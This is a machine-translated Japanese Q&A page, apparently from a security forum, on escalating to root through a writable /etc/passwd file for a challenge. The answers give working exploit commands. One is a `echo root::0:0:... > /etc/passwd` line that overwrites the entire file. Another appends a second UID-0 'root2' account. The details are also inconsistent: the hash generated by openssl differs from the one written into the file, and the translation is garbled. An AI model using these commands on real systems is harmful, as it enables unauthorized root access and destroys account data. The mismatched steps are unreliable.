web-dev-qa-db-ja.com

passwdファイルを使用した権限昇格

システムに書き込み可能な/ etc/passwdファイルがある場合、権限をrootにエスカレートするにはどうすればよいですか?私は現在、特権の少ないユーザーです。不思議に思っている場合に備えて、基盤となるOSはCentOS 7.2です。

Passwdファイルは通常、誰でも書き込み可能ではないことを知っています。現在のシナリオでチャレンジを行っています。

悪用へのステップは非常に役立ちます

9
Airbourne

パスワードは通常 _/etc/shadow_ に保存され、ユーザーは読み取ることができません。ただし、歴史的には、これらはすべてのアカウント情報とともに、世界中で読み取り可能なファイル _/etc/passwd_ に格納されていました。下位互換性のため、_/etc/passwd_の2番目の列にパスワードハッシュが存在する場合、_/etc/shadow_のパスワードハッシュよりも優先されます。

歴史的に、_/etc/passwd_の2番目のフィールドが空の場合は、アカウントにパスワードがないことを意味します。つまり、誰でもパスワードなしでログインできます(ゲストアカウントに使用されます)。これは時々無効になります。パスワードなしのアカウントが無効になっている場合は、選択したパスワードのハッシュを置くことができます。 crypt 関数を使用してパスワードハッシュを生成できます。たとえば、Perl -le 'print crypt("foo", "aa")'を使用してパスワードをfooに設定できます。

_/etc/passwd_にのみ追加でき、内容を上書きできない場合でも、ルートアクセスを取得することは可能です。これは、ユーザーが異なる名前を持っている限り、同じユーザーに対して複数のエントリを持つ可能性があるためです。ユーザーは名前ではなくIDで識別され、ルートアカウントの定義機能はその名前ではなく、にはユーザーID 0があります。したがって、別の名前のアカウントを宣言する行、任意のパスワード、ユーザーID 0を追加することで、代替のrootアカウントを作成できます。

入力するだけです:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

そしてあなたは根です。

xを削除すると、rootはパスワードを必要としなくなります。sedの代わりにechoコマンドを使用できますが、これでrootシェルを取得できます)

10

この非破壊的な方法を使用できます。

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 
2
mr guest